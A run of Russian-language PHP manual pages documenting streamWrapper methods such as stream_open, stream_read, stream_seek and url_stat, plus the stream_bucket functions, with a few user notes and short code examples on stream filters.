  • streamWrapper::dir_readdir() - Чтение записи из дескриптора директории

User Contributed Notes

There are no user contributed notes for this page.


Создание директории

  • « streamWrapper::dir_rewinddir
  • streamWrapper::rename »
  • PHP Manual
  • streamWrapper
  • Создание директории

streamWrapper::mkdir

(PHP 5, PHP 7, PHP 8)

streamWrapper::mkdir — Создание директории

Описание

public streamWrapper::mkdir(string $path, int $mode, int $options): bool

Этот метод вызывается в процессе выполнения mkdir().

Замечание:

Чтобы сообщения об ошибках соответствовали реальным ошибкам, этот метод не нужно определять в случаях, когда обёртка не поддерживает создание директорий.

Список параметров

path

Создаваемая директория.

mode

Значение, переданное в mkdir().

options

Битовая маска, составленная из констант, вроде STREAM_MKDIR_RECURSIVE.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примечания

Замечание:

Свойство streamWrapper::$context будет обновлено, если корректный контекст был передан в вызываемую функцию.

Смотрите также

  • mkdir() - Создаёт директорию
  • streamwrapper::rmdir() - Удаляет директорию

User Contributed Notes

There are no user contributed notes for this page.


Переименовывает файл или директорию

  • « streamWrapper::mkdir
  • streamWrapper::rmdir »
  • PHP Manual
  • streamWrapper
  • Переименовывает файл или директорию

streamWrapper::rename

(PHP 5, PHP 7, PHP 8)

streamWrapper::rename — Переименовывает файл или директорию

Описание

public streamWrapper::rename(string $path_from, string $path_to): bool

Этот метод вызывается в процессе выполнения rename().

Должен попытаться переименовать path_from в path_to

Замечание:

Чтобы сообщения об ошибках соответствовали реальным ошибкам, этот метод не нужно определять в случаях, когда обёртка не поддерживает переименование файлов.

Список параметров

path_from

URL текущего файла.

path_to

URL, в который path_from должен переименован.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примечания

Замечание:

Свойство streamWrapper::$context будет обновлено, если корректный контекст был передан в вызываемую функцию.

Смотрите также

  • rename() - Переименовывает файл или директорию

User Contributed Notes

There are no user contributed notes for this page.


Удаляет директорию

  • « streamWrapper::rename
  • streamWrapper::stream_cast »
  • PHP Manual
  • streamWrapper
  • Удаляет директорию

streamWrapper::rmdir

(PHP 5, PHP 7, PHP 8)

streamWrapper::rmdir — Удаляет директорию

Описание

public streamWrapper::rmdir(string $path, int $options): bool

Этот метод вызывается в процессе выполнения rmdir().

Замечание:

Чтобы сообщения об ошибках соответствовали реальным ошибкам, этот метод не нужно определять в случаях, когда обёртка не поддерживает удаление директорий.

Список параметров

path

URL удаляемой директории.

options

Битовая маска, составленная из констант, вроде STREAM_MKDIR_RECURSIVE.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примечания

Замечание:

Свойство streamWrapper::$context будет обновлено, если корректный контекст был передан в вызываемую функцию.

Смотрите также

  • rmdir() - Удаляет директорию
  • streamwrapper::mkdir() - Создание директории
  • streamwrapper::unlink() - Удаление файла

User Contributed Notes

There are no user contributed notes for this page.


Получает ресурс уровнем ниже

  • « streamWrapper::rmdir
  • streamWrapper::stream_close »
  • PHP Manual
  • streamWrapper
  • Получает ресурс уровнем ниже

streamWrapper::stream_cast

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

streamWrapper::stream_cast — Получает ресурс уровнем ниже

Описание

public streamWrapper::stream_cast(int $cast_as): resource

Этот метод вызывается в процессе выполнения stream_select().

Список параметров

cast_as

Может быть STREAM_CAST_FOR_SELECT, когда stream_select() вызывает stream_cast(), либо STREAM_CAST_AS_STREAM, когда stream_cast() вызывается для других целей.

Возвращаемые значения

Должен вернуть ресурс потока, лежащего уровнем ниже, или false.

Смотрите также

  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds

User Contributed Notes

There are no user contributed notes for this page.


Закрывает ресурс

  • « streamWrapper::stream_cast
  • streamWrapper::stream_eof »
  • PHP Manual
  • streamWrapper
  • Закрывает ресурс

streamWrapper::stream_close

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_close — Закрывает ресурс

Описание

public streamWrapper::stream_close(): void

Этот метод вызывается в процессе выполнения fclose().

Все ресурсы, выделенные или заблокированные обёрткой, должны быть освобождены.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • fclose() - Закрывает открытый дескриптор файла
  • streamWrapper::dir_closedir() - Закрыть дескриптор директории

User Contributed Notes

There are no user contributed notes for this page.


Проверяет достижение конца файла по файловому указателю

  • « streamWrapper::stream_close
  • streamWrapper::stream_flush »
  • PHP Manual
  • streamWrapper
  • Проверяет достижение конца файла по файловому указателю

streamWrapper::stream_eof

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_eof — Проверяет достижение конца файла по файловому указателю

Описание

public streamWrapper::stream_eof(): bool

Этот метод вызывается в результате вызова feof().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Должен вернуть true, если позиция чтения/записи находится в конце потока и доступных для чтения данных больше нет. В остальных случаях возвращается false.

Примечания

Внимание

При чтении файла целиком (например, функцией
file_get_contents()), PHP будет вызывает
streamWrapper::stream_read() и вместе с ним
streamWrapper::stream_eof() в цикле, пока
streamWrapper::stream_read() возвращает
непустую строку. Возвращаемое из
streamWrapper::stream_eof() значение при этом
игнорируется.

Смотрите также

  • feof() - Проверяет, достигнут ли конец файла

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает вывод

  • « streamWrapper::stream_eof
  • streamWrapper::stream_lock »
  • PHP Manual
  • streamWrapper
  • Сбрасывает вывод

streamWrapper::stream_flush

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_flush — Сбрасывает вывод

Описание

public streamWrapper::stream_flush(): bool

Этот метод вызывается в процессе выполнения fflush(), если поток закрывается имея несброшенные данные, записанные в него ранее.

Если в потоке есть кешированные и ещё неиспользованные данные, в этом методе самое место передать их на нижележащий уровень.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Должен возвращать true, если кешированные данные успешно сохранены (или их вообще нет), либо false, если данные не могут быть сохранены.

Примечания

Замечание:

Если метод не реализован, в качестве возвращаемого значения полагается false.

Смотрите также

  • fflush() - Сбрасывает буфер вывода в файл

User Contributed Notes

There are no user contributed notes for this page.


Консультативная блокировка файла

  • « streamWrapper::stream_flush
  • streamWrapper::stream_metadata »
  • PHP Manual
  • streamWrapper
  • Консультативная блокировка файла

streamWrapper::stream_lock

(PHP 5, PHP 7, PHP 8)

streamWrapper::stream_lock — Консультативная блокировка файла

Описание

public streamWrapper::stream_lock(int $operation): bool

Этот метод вызывается в ответ на flock(), когда вызывается file_put_contents() (если flags содержит LOCK_EX), stream_set_blocking() или при закрытии потока (LOCK_UN).

Список параметров

operation

operation может принимать одно из следующих значений:

  • LOCK_SH установить общую блокировку (для чтения).
  • LOCK_EX установить эксклюзивную блокировку (для записи).
  • LOCK_UN снять блокировку (общую или эксклюзивную).
  • LOCK_NB, если вы не хотите, чтобы flock() не блокировался во время работы. (не поддерживается в Windows)

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку E_WARNING, если вызов метода не удался (то есть метод не реализован).

Смотрите также

  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • flock() - Портируемая консультативная блокировка файлов

User Contributed Notes

There are no user contributed notes for this page.


Изменяет метаданные потока

  • « streamWrapper::stream_lock
  • streamWrapper::stream_open »
  • PHP Manual
  • streamWrapper
  • Изменяет метаданные потока

streamWrapper::stream_metadata

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

streamWrapper::stream_metadata — Изменяет метаданные потока

Описание

public streamWrapper::stream_metadata(string $path, int $option, mixed $value): bool

Этот метод вызывается для установки метаданных потока. Он работает, когда над URL потока выполняется одна из следующих операций:

  • touch()
  • chmod()
  • chown()
  • chgrp()
Следует помнить, что некоторые из этих операций могут быть недоступны в вашей системе.

Список параметров

path

Путь к файлу или URL для задания метаданных. URL должен быть отделен символами :// Другие форматы URL не поддерживаются.

option

Одно из значений:

  • STREAM_META_TOUCH (Метод вызывается в результате вызова touch())
  • STREAM_META_OWNER_NAME (Метод вызывается в результате вызова chown() со строковым аргументом)
  • STREAM_META_OWNER (Метод вызывается в результате вызова chown())
  • STREAM_META_GROUP_NAME (Метод вызывается в результате вызова chgrp())
  • STREAM_META_GROUP (Метод вызывается в результате вызова chgrp())
  • STREAM_META_ACCESS (Метод вызывается в результате вызова chmod())

value

Если option принимает значение

  • STREAM_META_TOUCH: Массив (Array) состоящий из двух аргументов функции touch().
  • STREAM_META_OWNER_NAME или STREAM_META_GROUP_NAME: Имя владельца/группы в виде строки (string).
  • STREAM_META_OWNER или STREAM_META_GROUP: Значение владельца/группу в виде целого числа (int).
  • STREAM_META_ACCESS: Аргумент функции chmod() в виде целого числа (int).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если option не реализован, метод должен вернуть false.

Смотрите также

  • touch() - Устанавливает время доступа и модификации файла
  • chmod() - Изменяет режим доступа к файлу
  • chown() - Изменяет владельца файла
  • chgrp() - Изменяет группу файла

User Contributed Notes

There are no user contributed notes for this page.


Открывает файл или URL

  • « streamWrapper::stream_metadata
  • streamWrapper::stream_read »
  • PHP Manual
  • streamWrapper
  • Открывает файл или URL

streamWrapper::stream_open

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_open — Открывает файл или URL

Описание

public streamWrapper::stream_open(
string $path,
string $mode,
int $options,
?string &$opened_path
): bool

Этот метод вызывается сразу после инициализации обёртки (например, fopen() и file_get_contents()).

Список параметров

path

Задаёт URL, который будет передан в вызывающую функцию.

Замечание:

URL можно разделить на части функцией parse_url(). URL должен быть отделен символами ://. Символы : и :/ пока работают, но дальнейшая поддержка не гарантируется.

mode

Режим открытия файла, аналогичен режимам для fopen().

Замечание:

Не забывайте проверять, поддерживается ли режим mode файлом path.

options

Хранит дополнительные флаги, задаваемые API потоков. Может содержать одно или несколько значений, объединённых операцией ИЛИ. Значения приведены ниже.

Флаг | Описание
STREAM_USE_PATH | Если путь path относительный, требуется искать ресурс, используя include_path.
STREAM_REPORT_ERRORS | Если этот флаг задан, Вы можете вызывать ошибки функцией trigger_error() во время открытия потока. Если флаг не задан, ошибки вызывать нельзя.

opened_path

Если path успешно открыт, и STREAM_USE_PATH задана в options, то в аргументе opened_path необходимо сохранить полный путь к открытому файлу или ресурсу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примечания

Замечание:

Свойство streamWrapper::$context будет обновлено, если корректный контекст был передан в вызываемую функцию.

Смотрите также

  • fopen() - Открывает файл или URL
  • parse_url() - Разбирает URL и возвращает его компоненты

User Contributed Notes

There are no user contributed notes for this page.


Читает из потока

  • « streamWrapper::stream_open
  • streamWrapper::stream_seek »
  • PHP Manual
  • streamWrapper
  • Читает из потока

streamWrapper::stream_read

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_read — Читает из потока

Описание

public streamWrapper::stream_read(int $count): string|false

Этот метод вызывается в процессе выполнения функций fread() и fgets().

Замечание:

Не забывайте обновлять позицию чтения/записи в потоке (на количество успешно прочитанных байт).

Список параметров

count

Сколько байт данных от текущей позиции должно быть возвращено.

Возвращаемые значения

Если в потоке количество доступных байт меньше, чем count, должно быть возвращено столько данных, сколько доступно. Если доступных данных больше нет, функция возвращает false.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Замечание:

Если возвращаемое значение будет больше, чем count, то будет вызвана ошибка E_WARNING, и данные более указанного количества будут потеряны.

Примечания

Замечание:

streamWrapper::stream_eof() вызывается сразу после вызова streamWrapper::stream_read(), чтобы проверить, достигнут ли конец файла EOF. Если метод не реализован, то полагается, что конец файла EOF достигнут.

Внимание

При чтении файла целиком (например, функцией
file_get_contents()), PHP будет вызывать
streamWrapper::stream_read() и вместе с ним
streamWrapper::stream_eof() в цикле, пока
streamWrapper::stream_read() возвращает
непустую строку. Возвращаемое из
streamWrapper::stream_eof() значение при этом
игнорируется.

Смотрите также

  • fread() - Бинарно-безопасное чтение файла
  • fgets() - Читает строку из файла

User Contributed Notes

There are no user contributed notes for this page.


Перемещение на заданную позицию в потоке

  • « streamWrapper::stream_read
  • streamWrapper::stream_set_option »
  • PHP Manual
  • streamWrapper
  • Перемещение на заданную позицию в потоке

streamWrapper::stream_seek

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_seek — Перемещение на заданную позицию в потоке

Описание

public streamWrapper::stream_seek(int $offset, int $whence = SEEK_SET): bool

Этот метод вызывается в процессе выполнения fseek().

Позицию чтения/записи в потоке необходимо обновлять в соответствии с аргументами offset и whence.

Список параметров

offset

Смещение в потоке, на которое требуется переместиться.

whence

Возможные значения:

  • SEEK_SET - Переместиться на позицию offset байт от начала файла.
  • SEEK_CUR - Переместиться на offset байт относительно текущей позиции.
  • SEEK_END - Переместиться на позицию offset байт от конца файла.

Замечание: Текущая реализация никогда не устанавливает для whence значение SEEK_CUR; вместо этого такие поиски внутренне преобразуются в поиски SEEK_SET.

Возвращаемые значения

Возвращает true, если позиция обновлена, false в остальных случаях.

Примечания

Замечание:

Если не реализован, в качестве возвращаемого значения принимается false.

Замечание:

В случае успешного выполнения
streamWrapper::stream_tell() будет вызвана сразу
после того, как streamWrapper::stream_seek() отработает.
Если выполнение streamWrapper::stream_tell() завершится
неудачей, то в вызывающую функцию будет возвращено значение false

Замечание:

Не все операции перемещения в потоке приведут к вызову этой функции. В PHP по умолчанию включена буферизация потоков (смотрите также stream_set_read_buffer()), поэтому перемещение в потоке может означать лишь перемещение указателя в буфере.

Смотрите также

  • fseek() - Устанавливает смещение в файловом указателе

User Contributed Notes

fb at tigermedia dot dk 27-May-2014 08:55
Please notice that the return value of this function is a boolean but the return value of fseek is 0 for ok and -1 for failure.

Please use this implementation when working with files:

function stream_seek($offset, $whence) {
        if(0 === fseek($this->_handler, $offset, $whence)){
            return true;
        }
        return false;
}


Изменение настроек потока

  • « streamWrapper::stream_seek
  • streamWrapper::stream_stat »
  • PHP Manual
  • streamWrapper
  • Изменение настроек потока

streamWrapper::stream_set_option

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

streamWrapper::stream_set_option — Изменение настроек потока

Описание

public streamWrapper::stream_set_option(int $option, int $arg1, int $arg2): bool

Этот метод вызывается при установке настроек потока.

Список параметров

option

Одно из значений:

  • STREAM_OPTION_BLOCKING (Метод вызван в результате вызова функции stream_set_blocking())
  • STREAM_OPTION_READ_TIMEOUT (Метод вызван в результате вызова функции stream_set_timeout())
  • STREAM_OPTION_WRITE_BUFFER (Метод вызван в результате вызова функции stream_set_write_buffer())

arg1

Если option принимает значение:

  • STREAM_OPTION_BLOCKING: запрошен режим блокировки (1 - блокировать, 0 - не блокировать).
  • STREAM_OPTION_READ_TIMEOUT: время ожидания в секундах.
  • STREAM_OPTION_WRITE_BUFFER: режим буферизации (STREAM_BUFFER_NONE или STREAM_BUFFER_FULL).

arg2

Если option принимает значение:

  • STREAM_OPTION_BLOCKING: это значение ни на что не влияет.
  • STREAM_OPTION_READ_TIMEOUT: время ожидания в миллисекундах.
  • STREAM_OPTION_WRITE_BUFFER: требуемый размер буфера.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Если option не реализован, метод должен возвращать false.

Смотрите также

  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке
  • stream_set_timeout() - Установить значение времени ожидания для потока
  • stream_set_write_buffer() - Устанавливает буферизацию файла при записи в указанный поток

User Contributed Notes

There are no user contributed notes for this page.


Получение информации о файловом ресурсе

  • « streamWrapper::stream_set_option
  • streamWrapper::stream_tell »
  • PHP Manual
  • streamWrapper
  • Получение информации о файловом ресурсе

streamWrapper::stream_stat

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_stat — Получение информации о файловом ресурсе

Описание

public streamWrapper::stream_stat(): array|false

Этот метод вызывается в результате вызова функции fstat().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите stat().

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Смотрите также

  • stat() - Возвращает информацию о файле
  • streamwrapper::url_stat() - Получение информации о файле

User Contributed Notes

There are no user contributed notes for this page.


Определение текущей позиции потока

  • « streamWrapper::stream_stat
  • streamWrapper::stream_truncate »
  • PHP Manual
  • streamWrapper
  • Определение текущей позиции потока

streamWrapper::stream_tell

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_tell — Определение текущей позиции потока

Описание

public streamWrapper::stream_tell(): int

Этот метод вызывается в процессе выполнения fseek() для определения текущей позиции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Должен возвращать текущую позицию потока.

Смотрите также

  • streamWrapper::stream_tell()

User Contributed Notes

There are no user contributed notes for this page.


Усечение потока

  • « streamWrapper::stream_tell
  • streamWrapper::stream_write »
  • PHP Manual
  • streamWrapper
  • Усечение потока

streamWrapper::stream_truncate

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

streamWrapper::stream_truncate — Усечение потока

Описание

public streamWrapper::stream_truncate(int $new_size): bool

Будет срабатывать при усечении потока функцией ftruncate().

Список параметров

new_size

Новый размер.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ftruncate() - Урезает файл до указанной длины

User Contributed Notes

There are no user contributed notes for this page.


Запись в поток

  • « streamWrapper::stream_truncate
  • streamWrapper::unlink »
  • PHP Manual
  • streamWrapper
  • Запись в поток

streamWrapper::stream_write

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_write — Запись в поток

Описание

public streamWrapper::stream_write(string $data): int

Этот метод вызывается в результате запуска функции fwrite().

Замечание:

Не забывайте изменять текущую позицию потока на количество успешно записанных байт.

Список параметров

data

Эти данные должны передаваться потоку уровнем ниже.

Замечание:

Если нижележащий поток не способен принять все данные, передавайте сколько возможно.

Возвращаемые значения

Должен возвращать количество успешно записанных байт или 0, если ничего записать не удалось.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Замечание:

Если возвращаемое значение окажется больше размера данных data, будет вызвана ошибка уровня E_WARNING, а возвращаемое значение будет усечено до этого размера.

Смотрите также

  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

There are no user contributed notes for this page.


Удаление файла

  • « streamWrapper::stream_write
  • streamWrapper::url_stat »
  • PHP Manual
  • streamWrapper
  • Удаление файла

streamWrapper::unlink

(PHP 5, PHP 7, PHP 8)

streamWrapper::unlink — Удаление файла

Описание

public streamWrapper::unlink(string $path): bool

Этот метод вызывается в процессе выполнения unlink().

Замечание:

Чтобы сообщения об ошибках соответствовали реальным ошибкам, этот метод не нужно определять в случаях, когда обёртка не поддерживает удаление файлов.

Список параметров

path

URL удаляемого файла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примечания

Замечание:

Свойство streamWrapper::$context будет обновлено, если корректный контекст был передан в вызываемую функцию.

Смотрите также

  • unlink() - Удаляет файл
  • streamWrapper::rmdir() - Удаляет директорию

User Contributed Notes

There are no user contributed notes for this page.


Получение информации о файле

  • « streamWrapper::unlink
  • Функции для работы с потоками »
  • PHP Manual
  • streamWrapper
  • Получение информации о файле

streamWrapper::url_stat

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::url_stat — Получение информации о файле

Описание

public streamWrapper::url_stat(string $path, int $flags): array|false

Этот метод вызывается в процессе выполнения любой из stat() функций, таких как:

  • copy()
  • fileperms()
  • fileinode()
  • filesize()
  • fileowner()
  • filegroup()
  • fileatime()
  • filemtime()
  • filectime()
  • filetype()
  • is_writable()
  • is_readable()
  • is_executable()
  • is_file()
  • is_dir()
  • is_link()
  • file_exists()
  • lstat()
  • stat()
  • SplFileInfo::getPerms()
  • SplFileInfo::getInode()
  • SplFileInfo::getSize()
  • SplFileInfo::getOwner()
  • SplFileInfo::getGroup()
  • SplFileInfo::getATime()
  • SplFileInfo::getMTime()
  • SplFileInfo::getCTime()
  • SplFileInfo::getType()
  • SplFileInfo::isWritable()
  • SplFileInfo::isReadable()
  • SplFileInfo::isExecutable()
  • SplFileInfo::isFile()
  • SplFileInfo::isDir()
  • SplFileInfo::isLink()
  • RecursiveDirectoryIterator::hasChildren()

Список параметров

path

Путь к файлу или его URL. Помните, что URL должен быть отделен символами :// , другие формы URL не поддерживаются.

flags

Хранит дополнительные флаги, установленные API потоков. Может хранить одно или несколько приведённых ниже значений, объединённых операцией ИЛИ.

Флаг | Описание
STREAM_URL_STAT_LINK | Для ресурсов, которые могут ссылаться на другие ресурсы (как например HTTP Location: forward, или символические ссылки файловой системы). Этот флаг указывает, что возвращаемая информация относится к самой ссылке, а не к ресурсу, на который она указывает. Этот используется при вызове функций lstat(), is_link() или filetype().
STREAM_URL_STAT_QUIET | Если флаг установлен, обёртка не должна вызывать никаких ошибок. Если нет, можно вызывать сообщения об ошибках с помощью функции trigger_error().

Возвращаемые значения

Должен возвращаться массив (array) с теми же элементами, что и в stat(). Неизвестные или недоступные значения необходимо приводить к разумным значениям (обычно к 0). Обратите особое внимание на mode, как описано в разделе stat(). В случае возникновения ошибки возвращает false.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примечания

Замечание:

Свойство streamWrapper::$context будет обновлено, если корректный контекст был передан в вызываемую функцию.

Смотрите также

  • stat() - Возвращает информацию о файле
  • streamwrapper::stream_stat() - Получение информации о файловом ресурсе

User Contributed Notes

There are no user contributed notes for this page.


Функции для работы с потоками

Содержание

  • stream_bucket_append — Добавить ведро (bucket) в бригаду (brigade)
  • stream_bucket_make_writeable — Возвращает объект корзины из бригады для дальнейшей работы с ним
  • stream_bucket_new — Создать новое ведро для использования в текущем потоке
  • stream_bucket_prepend — Добавить ведро в начало бригады
  • stream_context_create — Создаёт контекст потока
  • stream_context_get_default — Получает контекст потока по умолчанию
  • stream_context_get_options — Получает опции для потока/обёртки/контекста
  • stream_context_get_params — Получает параметры из контекста
  • stream_context_set_default — Установить контекст потока по умолчанию
  • stream_context_set_option — Устанавливает опцию для потока/обёртки/контекста
  • stream_context_set_options — Sets options on the specified context
  • stream_context_set_params — Устанавливает параметры для потока/обёртки/контекста
  • stream_copy_to_stream — Копирует данные из одного потока в другой
  • stream_filter_append — Прикрепить фильтр к потоку
  • stream_filter_prepend — Прикрепляет фильтр к потоку
  • stream_filter_register — Регистрирует потоковый фильтр, определённый пользователем
  • stream_filter_remove — Удалить фильтр из потока
  • stream_get_contents — Читает оставшуюся часть потока в строку
  • stream_get_filters — Получить список зарегистрированных фильтров
  • stream_get_line — Получает строку из потокового ресурса до указанного разделителя
  • stream_get_meta_data — Извлекает заголовок/метаданные из потоков/файловых указателей
  • stream_get_transports — Получить список зарегистрированных транспортов сокета
  • stream_get_wrappers — Получить список зарегистрированных потоков
  • stream_is_local — Проверяет, является ли поток локальным потоком
  • stream_isatty — Проверяет, является ли поток TTY
  • stream_notification_callback — Callback-функция для параметра контекста notification
  • stream_register_wrapper — Псевдоним stream_wrapper_register
  • stream_resolve_include_path — Преобразовать полное имя файла, используя пути включения
  • stream_select — Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds
  • stream_set_blocking — Установить блокирующий/неблокирующий режим в потоке
  • stream_set_chunk_size — Установить размер фрагмента данных потока
  • stream_set_read_buffer — Установить буферизацию чтения файла на указанном потоке
  • stream_set_timeout — Установить значение времени ожидания для потока
  • stream_set_write_buffer — Устанавливает буферизацию файла при записи в указанный поток
  • stream_socket_accept — Принимать соединение в сокете, созданном c помощью функции stream_socket_server
  • stream_socket_client — Открыть соединение с интернет-сокетом или с доменным сокетом Unix
  • stream_socket_enable_crypto — Включает или отключает шифрование на уже подключённом сокете
  • stream_socket_get_name — Получить название локального или удалённого сокета
  • stream_socket_pair — Создаёт пару подключённых, неразличимых потоков сокетов
  • stream_socket_recvfrom — Получает данные из сокета, подключённого или нет
  • stream_socket_sendto — Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
  • stream_socket_server — Создаёт интернет-сокет или доменный сокет Unix
  • stream_socket_shutdown — Закрыть полнодуплексное соединение
  • stream_supports_lock — Определяет, поддерживает ли поток блокировку
  • stream_wrapper_register — Регистрирует обёртку URL, реализованную в виде PHP-класса
  • stream_wrapper_restore — Восстанавливает отменённую ранее встроенную обёртку
  • stream_wrapper_unregister — Отменяет регистрацию обёртки URL

User Contributed Notes

marcus at synchromedia dot co dot uk 15-Nov-2007 03:13
I can't find any real documentation on the quoted-printable-encode stream filter, but I've gathered info from several places. It seems there are 4 options that can be passed in the param array as in my other note on this subject:

line-length: integer, simply sets line length before a soft break is inserted
line-break-chars: Which char or chars to consider as a line break - note that "\r\n" will only match CRLF, not CR or LF, so make sure it matches your content.
binary: boolean, hex encodes all control chars, including spaces and line breaks, but leaves alphanumerics untouched
force-encode-first: Forcibly hex-encodes the first char on each line, even if it's alphanumeric. This is useful for avoiding corruption in some incompetent mail servers, like Exchange.
marcus at synchromedia dot co dot uk 30-Oct-2006 10:16
As this article says, there is no quoted_printable_encode function() in PHP: http://www.zend.com/manual/filters.convert.php

However there is a stream filter for quoted printable encoding. Here's an example function that produces output suitable for email and doesn't explicitly use external files (though it might do for strings over 2Mb due to the nature of the temp stream type):

<?php
function quoted_printable_encode($string) {
        $fp = fopen('php://temp/', 'r+');
        $params = array('line-length' => 70, 'line-break-chars' => "\r\n");
        stream_filter_append($fp, 'convert.quoted-printable-encode', STREAM_FILTER_READ, $params);
        fputs($fp, $string);
        rewind($fp);
        return stream_get_contents($fp);
}

echo quoted_printable_encode(str_repeat("hello there ", 50)." a=1\r\n")."\n";
?>

The filter needs to be restricted to STREAM_FILTER_READ because by default it will get filtered both going into and out of the stream, and will thus get encoded twice.

It should be much faster than using a PHP implementation of the same thing, though note that this will only work in PHP 5.1+.


Добавить ведро (bucket) в бригаду (brigade)

  • « Функции для работы с потоками
  • stream_bucket_make_writeable »
  • PHP Manual
  • Функции для работы с потоками
  • Добавить ведро (bucket) в бригаду (brigade)

stream_bucket_append

(PHP 5, PHP 7, PHP 8)

stream_bucket_append — Добавить ведро (bucket) в бригаду (brigade)

Описание

stream_bucket_append(resource $brigade, object $bucket): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект корзины из бригады для дальнейшей работы с ним

  • « stream_bucket_append
  • stream_bucket_new »
  • PHP Manual
  • Функции для работы с потоками
  • Возвращает объект корзины из бригады для дальнейшей работы с ним

stream_bucket_make_writeable

(PHP 5, PHP 7, PHP 8)

stream_bucket_make_writeable — Возвращает объект корзины из бригады для дальнейшей работы с ним

Описание

stream_bucket_make_writeable(resource $brigade): ?object

Функция вызывается всякий раз, когда возникает необходимость в доступе к содержимому, содержащемся в бригаде и работе с ним. Обычно функция вызывается из php_user_filter::filter().

Список параметров

brigade

Бригада, из которой нужно вернуть объект корзины.

Возвращаемые значения

Возвращает объект корзины со свойствами, перечисленными ниже или null.

data (string)

data bucket Текущая строка в корзине.

datalen (integer)

datalen bucket Длина строки в корзине.

Смотрите также

  • stream_bucket_append() - Добавить ведро (bucket) в бригаду (brigade)
  • stream_bucket_prepend() - Добавить ведро в начало бригады

User Contributed Notes

Anonymous 06-Sep-2022 04:03
the object $bucket which is returned also includes a third parameter, $bucket->bucket, which is a reference to the resource


Создать новое ведро для использования в текущем потоке

  • « stream_bucket_make_writeable
  • stream_bucket_prepend »
  • PHP Manual
  • Функции для работы с потоками
  • Создать новое ведро для использования в текущем потоке

stream_bucket_new

(PHP 5, PHP 7, PHP 8)

stream_bucket_new — Создать новое ведро для использования в текущем потоке

Описание

stream_bucket_new(resource $stream, string $buffer): object
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

carlosv775 at gmail dot com 06-Jul-2019 07:50
This function returns FALSE if something wrong happens. If the stream is not available for instance.


Добавить ведро в начало бригады

  • « stream_bucket_new
  • stream_context_create »
  • PHP Manual
  • Функции для работы с потоками
  • Добавить ведро в начало бригады

stream_bucket_prepend

(PHP 5, PHP 7, PHP 8)

stream_bucket_prepend — Добавить ведро в начало бригады

Описание

stream_bucket_prepend(resource $brigade, object $bucket): void

Эта функция может использоваться для добавления ведра в начало бригады вёдер. Обычно она вызывается из php_user_filter::filter().

Список параметров

brigade

brigade - ресурс, указывающий на бригаду вёдер, которая содержит один или несколько объектов bucket.

bucket

Ведро.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Примеры использования stream_bucket_prepend()

<?php

class foo extends php_user_filter {
protected $calls = 0;
public function filter($in, $out, &$consumed, $closing) {
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
if ($this->calls++ == 2) {
// Это ведро снова появится перед любым другим ведром.
stream_bucket_prepend($in, $bucket);
}
}
return PSFS_FEED_ME;
}
}
stream_filter_register('test', 'foo');
print file_get_contents('php://filter/read=test/resource=foo');
